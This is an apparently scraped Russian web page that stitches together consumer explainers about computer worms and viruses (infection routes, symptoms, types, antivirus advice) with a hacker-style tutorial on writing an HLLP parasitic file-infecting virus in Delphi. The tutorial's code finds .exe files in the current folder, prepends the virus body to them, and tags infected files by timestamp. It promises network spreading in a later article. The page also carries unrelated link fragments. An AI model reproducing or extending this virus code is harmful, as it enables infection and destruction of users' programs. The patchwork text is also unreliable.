Компьютерный червь своими руками

Что такое червь и как он попадает на компьютер?

Любая компьютерная угроза в народе называется вирусом. Но знающие люди различают среди них трояны, собственно вирусы и черви.

О червях сегодня слышно мало. Во всяком случае, не так много, как о троянах или майнерах. Наверное, поэтому у многих складывается впечатление, что червь – проблема какая-то несерьезная. Сейчас вы узнаете, почему не стоит его недооценивать.

Червь коварнее других компьютерных угроз тем, что имеет способность к самокопированию. В отличие от вируса, которому для запуска репликации требуется связь с компьютером-хостом, червь представляет собой полностью автономную программу. Этим он и отличается от вируса в чистом его проявлении.

Червь способен самокопироваться, самовоспроизводиться и самораспространяться.

Звучит опасно, правда? И наверняка вам уже хочется знать, как такой хитрый зверь попадает на компьютер и какие признаки выдают его присутствие.

Что такое компьютерный червь?

Червь – это разновидность вредоносного ПО, которое копирует само себя с одного устройства на другое. В отличие от вируса, червю не нужно цепляться за какое-либо программное обеспечение, чтобы запустить скрипт для выполнения своих функций, и потому он представляет серьезную опасность для зараженного компьютера.

Способность действовать в одиночку – вот что отличает червя от других видов вредоносного ПО.

Как происходит заражение червем?

Компьютерный червь – бесфайловая вредоносная программа, которая распространяется с помощью хитроумной тактики: проникнув на уязвимое устройство, червь прячется в локальной сети и запускает репликацию.

Основной путь внутрь компьютера – уязвимости в операционной системе. Червь может быть запрограммирован на ведение скрытого образа жизни внутри ОС, незаметно занимаясь своим черным делом.

Другой распространенный способ заражения – электронные спам-письма, сообщения в мессенджерах и вложения в них. Без социальной инженерии тут не обходится: текст сообщения убеждает пользователя открыть вложение или кликнуть по ссылке, а дальше все идет так, как запланировал злоумышленник.

USB-флешки и портативные накопители тоже могут быть средством распространения червей.

Как узнать, что на компьютере завелся червь?

Если вы подозреваете, что на вашем компьютере находится червь, первое действие – немедленно запустить антивирусное сканирование. Черви не являются вирусами в классическом проявлении, однако многие антивирусные программы способны обнаруживать их присутствие.

Отрицательный результат – не повод расслабляться. Зловред может оказаться хитрее стандартных проверочных алгоритмов. Вот явные признаки, по которым можно предположить наличие червя в вашей системе.

  1. В электронной почте странные вложения. В е-мейлах присутствуют файлы непонятного происхождения? При запуске вложений выскакивают диалоговые окна? Компьютер ведет себя как-то нетипично? Если вы ответили «да» хотя бы на один из этих вопросов, наличие червя в системе очень даже вероятно.
  2. На жестком диске внезапно закончилось место. Червям характерно многократное копирование, и они быстро заполняют постоянную память. Если вы обратили внимание, что свободного пространства стало меньше, а вы в последнее время ничего крупного не скачивали, то виновником может оказаться червь.
  3. Появляются проблемы с производительностью. Программные ошибки, медленный отклик интерфейса могут указывать на то, что ресурсы компьютера съедает деятельность червя.
  4. Пропадают файлы. Черви способны удалять, подменять и создавать новые файлы. При подозрительном поведении файлов готовьтесь действовать – компьютер скорее всего чем-то заражен.
  5. Программы вылетают. Заведите привычку побыстрее разбираться, почему та или иная программа стала вести себя странным образом. Часто черви завершают работу критически важных процессов, тем самым мешая запускать и использовать полезные приложения. О том, что они способны удалять файлы, уже говорилось.

Примеры червей

Первый компьютерный червь, известный под именем Jerusalem, старше многих наших читателей – он был создан в 1987 году. Другие, натворившие не меньше бед – червь Морриса (1988), Storm Worm (2007) и SQL Slammer (2003).

Компьютерные черви не имеют четкой классификации, но их можно разделить на типы в зависимости от путей распространения.

  1. Интернет-черви. Внедряются в сайты со слабой защитой, копируют себя на компьютер пользователя, который посещает зараженный ресурс. После этого распространение вредоносного кода идет уже внутри локальной сети по всем подключенным устройствам.
  2. Почтовые черви. Путь заражения почтовым червем – сообщения в электронной почте и их вложения. Часто такие «подарки» имеют двойное расширение, например, mp4.exe или .avi.exe. Пользователь, не придавший значения второму расширению, подумает, что ему прислали медиафайл, и как только он нажмет на кнопку «скачать», копии зараженной программы мгновенно полетят по всем адресам, указанным в списке контактов.
  3. IM-черви. Черви для мессенджеров распространяются так же, как и их почтовые товарищи – через ссылки в сервисах обмена мгновенными сообщениями. Часто они маскируются под безобидные интернет-адреса (ссылка instagram.com может вести совсем не туда, куда кажется) или короткие фразы типа «LOL», «срочно посмотри». Поскольку пользователь не видит полного адреса для перехода, он может потерять бдительность и поддаться любопытству. А если сообщение прилетело от знакомого контакта, то и проверять ссылку на безопасность мало кому придет в голову.
  4. Черви для файлообменников. Совместное использование файлов и P2P-протоколы в некоторых странах считаются незаконными, однако они все еще широко используются как способ поделиться медиафайлами. Черви для файлообменников маскируются под медиа с двойным расширением и попадают на компьютер жертвы при скачивании.
Читайте также:  Конверт зимний своими руками мастер класс

Как бороться с червями

На компьютере очень важно иметь комплексный инструмент безопасности от надежного разработчика. Многие из них обеспечивают защиту не только от троянов, майнеров и классических вирусов, но также и от червей.

При сканировании устройства они обнаружат место, где скрывается червь, и расправятся с ним. Но как мы знаем, главное слабое место компьютера – не изъян в операционной системе, а человек, сидящий перед монитором. Поэтому напоминаем, как нужно вести себя, чтобы не дать червям и прочим зловредам проникнуть в систему.

  1. Обновляйте все ПО. Дыры в безопасности системы и установленных приложениях – верный путь к заражению компьютера. Не откладывайте обновления, если они уже доступны, поскольку там содержатся патчи для устранения уязвимостей.
  2. Внимательно читайте электронные письма. Фишинг – очень популярная тактика распространения червей и прочих вредоносов. Не открывайте письма от неизвестных отправителей. А если уж открыли – не пытайтесь скачать вложения. А если скачали… Чуть выше говорилось, как вылечить компьютер.
  3. Не переходите по непонятным ссылкам. Это касается и электронных писем, и просто серфинга в интернете. Не кликайте по ссылкам, если не знаете наверняка, на какой ресурс они ведут. Помните: злоумышленники могут скрывать истинные URL так, что даже при наведении курсора внизу окна браузера будет отображаться фейковый адрес.
  4. Не пожалейте денег на хороший антивирус. Покупка комплексного антивируса спасет вас и ваших близких от множества проблем. Убедитесь, что выбранный вами продукт предлагает набор защитных функций против фишинга, вирусов, шпионского ПО, программ-вымогателей и пр.

Действуйте на опережение

Черви полезны для сада, но никак не для компьютера. Против них нужны проактивные меры.

Обеспечьте компьютер антивирусом и фаерволом, читайте новости о киберпреступлениях, сохраняйте бдительность в интернете. Понимаем, эти советы звучат банально, ведь о них говорилось уже миллион раз, но следовать им правда очень важно. Как знать – может, отразив атаку червя на своем компьютере сегодня, вы убережете от беды кого-то в вашем списке контактов.

Источник

Что такое компьютерный вирус и компьютерный червь?

Компьютерный вирус и компьютерный червь — это вредоносные программы, которые способны воспроизводить себя на компьютерах или через компьютерные сети. При этом пользователь не подозревает о заражении своего компьютера. Так как каждая последующая копия вируса или компьютерного червя также способна к самовоспроизведению, заражение распространяется очень быстро. Существует очень много различных типов компьютерных вирусов и компьютерных червей, большинство которых обладают высокой способностью к разрушению.

Что нужно знать о компьютерных вирусах и червях

Вредоносное программное обеспечение из подкласса вирусов и червей включает:

  • Email-Worm
  • IM-Worm
  • IRC-Worm
  • Net-Worm
  • P2P-Worm
  • Virus
  • Компьютерные черви

    Большинство известных компьютерных червей распространяется следующими способами:

    • в виде файла, отправленного во вложении в электронном письме;
    • в виде ссылки на интернет — или FTP-ресурс
    • в виде ссылки, переданной через сообщение ICQ или IR
    • через пиринговые сети обмена данными P2P (peer-to-peer)
    • некоторые черви распространяются как сетевые пакеты. Они проникают прямо в компьютерную память, затем активируется код червя.

    Компьютерные черви могут использовать ошибки конфигурации сети (например, чтобы скопировать себя на полностью доступный диск) или бреши в защите операционной системы и приложений. Многие черви распространяют свои копии через сеть несколькими способами.

    Вирусы

    Вирусы можно классифицировать в соответствии с тем, каким способом они заражают компьютер:

    • Файловые вирусы
    • вирусы загрузочного сектора
    • Макровирусы
    • Вирусные скрипты

    Любая программа данного подкласса вредоносного ПО в качестве дополнительных может иметь и функции троянской программы.

    Как защититься от компьютерных вирусов и червей

    Рекомендуется установить антивирус: программное обеспечение для защиты от вредоносных программ на все свои устройства (включая ПК, ноутбуки, компьютеры Mac и смартфоны). Решение для защиты от вредоносных программ должно регулярно обновляться, чтобы защищать от самых последних угроз. Хороший антивирус (такой как Антивирус Касперского) обнаруживает и предотвращает заражение ПК вирусами и червями, а Kaspersky Internet Security для Android — отличный выбор для защиты смартфонов на базе Android. В «Лаборатории Касперского» созданы продукты для следующих устройств:

    • ПК на базе Windows;
    • компьютеры Mac;
    • смартфоны;
    • планшеты

    Другие статьи и ссылки, связанные с компьютерными вирусами и червями

    Что такое компьютерный вирус и компьютерный червь?

    Существует очень много различных типов компьютерных вирусов и компьютерных червей, большинство которых обладают высокой способностью к разрушению.

    Источник

    HLLP вирус своими руками

    HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
    программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и «заражает» дальше.

    HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
    HLLC — более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

    HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
    — тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.

    Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:

    MZТело злобного вируса
    MZКод программы

    Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
    — заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
    — будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:

    MZтело злобного вируса
    XORed часть ориг. проги
    Неизменная часть ориг. проги

    В этом случае структура зараженного файла не будет так понятна.
    Я не зря тут (в классификации, в смысле) так распинаюсь
    — parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:

    Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
    ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
    — вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.

    Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.

    Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:

    program EVIL_VIRUS;
    USES WINDOWS,SYSUTILS;
    begin
    end;

    Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу—> ждем завершения ее работы—> стираем «отработавший файл» (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).—> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.

    Объяви теперь для своего могучего мозга следующие переменные и константы:

    VaR VirBuf, ProgBuf, MyBuf : array of char;
    SR : TSearchRec;
    My,pr : File;
    ProgSize,result : integer;
    PN,st : String;
    si : Tstartupinfo;
    p :Tprocessinformation;
    infected : boolean;
    CONST VirLen: longint= 1000000;

    Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
    характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
    Pr — это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
    ProgSize — размер кода программы. Остальное ясно из дальнейшего, кроме
    infected — это признак зараженности найденного файла и
    VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
    Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:

    SetLength (virbuf,VirLen);
    AssignFile (my,ParamStr(0));
    st:= paramstr(0);
    St:= st+#0;
    CopyFile (@st[1],’c:\windows\program.exe’,false);
    IF FileSize (my)> VirLen then
    begin
    //Запуск программы
    AssignFile (my,’c:\windows\program.exe);
    Reset (my);
    ProgSize:= FileSize(my)-VirLen;
    BlockRead (my,virbuf,virlen);
    SetLength (progbuf,pRogSize);
    BlockRead (my,progbuf,progSize);
    CloseFile (my);
    PN:= ‘_’+ParamStr(0);
    AssignFile (pr,PN);
    ReWrite (pr);
    BlockWrite (pr,progbuf,progSize);
    CloseFile (pr);
    FillChar( Si, SizeOf( Si ) , 0 );
    with Si do
    begin
    cb := SizeOf( Si);
    dwFlags := startf_UseShowWindow;
    wShowWindow := 4;
    end;
    PN:= PN+#0;
    Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
    Waitforsingleobject(p.hProcess,infinite);
    //Запустили, программа отработала. Сотрем ее 🙂
    ErAsE (pr);
    Erase (my);

    Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
    А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
    — на Delphi.

    Строчки эти — преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
    завязывай прогуливать информатику ;)), идем дальше:

    result:= FindFirst (‘*.exe’,faAnyFile,sr);
    WHILE Result= 0 DO
    begin
    //Проверка на вшивость
    Infected:= false;
    IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= ‘03.08.98 06:00:00’ then infected:= true;
    //Проверено!
    IF (infected= false)and (sr.name<>paramstr(0)) then
    begin
    AssignFile (my,sr.Name);
    ReWrite (my);
    BlockWrite (my,virbuf,virlen);
    BlockWrite (my,progbuf,sr.Size);
    CloseFile (my);
    FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime (‘03.08.98 06:00:00’)));
    end;
    end;

    //Если вир запущен «чистым», т.е. не из зараженной про-граммы, то завершаемся
    end else halt;

    Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂

    Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.

    Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
    WinAPI.

    AssignFile — в WinAPI нет аналога — сопоставляет файл
    с переменной типа File или TextFile

    Reset — аналоги _lopen и CreateFile — открывает
    существующий файл и устанавливает позицию
    чтения в начало

    ReWrite — _lcreate и CreateFile — создает новый файл и
    уст. позицию чтения в начало. Если скормить
    ReWrite существующий файл, его содержимое
    будет обнулено

    BlockRead — _lread и ReadFile — читает в буфер
    определенное количество данных из файла

    BlockWrite — _lwrite и WriteFile — соответственно, пишет
    данные в файл

    SeekFile — _llseek и SetFilePointer — перемещает позицию
    чтения/записи в открытом файле

    CloseFile — _lclose и CloseHandle — закрывает открытый
    файл

    Erase — DeleteFile — удаление файла

    FindFirst — FindFirstFile — поиск файла по критериям

    FindNext — FindNextFile — поиск следующего файла

    Источник

    Читайте также:  Как сделать шкафы вокруг окна своими руками
Оцените статью
Своими руками